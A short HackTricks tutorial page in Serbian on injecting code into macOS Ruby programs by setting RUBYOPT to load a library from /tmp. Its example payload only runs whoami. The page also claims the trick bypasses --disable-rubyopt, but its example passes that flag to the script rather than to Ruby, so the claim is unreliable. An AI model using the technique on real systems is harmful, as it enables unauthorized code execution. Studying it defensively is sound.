macOS Ruby Applications Injection

Reading time: 2 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

RUBYOPT

Korišćenjem ove env promenljive moguće je dodati nove parametre u ruby svaki put kada se izvršava. Iako parametar -e ne može biti korišćen za specificiranje ruby koda za izvršavanje, moguće je koristiti parametre -I i -r da se doda nova fascikla u putanju za učitavanje biblioteka i zatim specificirati biblioteku za učitavanje.

Kreirajte biblioteku inject.rb u /tmp:

inject.rb
puts `whoami`

Kreirajte bilo gde Ruby skriptu kao:

hello.rb
puts 'Hello, World!'

Zatim napravite proizvoljni ruby skript koji ga učitava sa:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb

Zanimljiva činjenica, funkcioniše čak i sa parametrom --disable-rubyopt:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks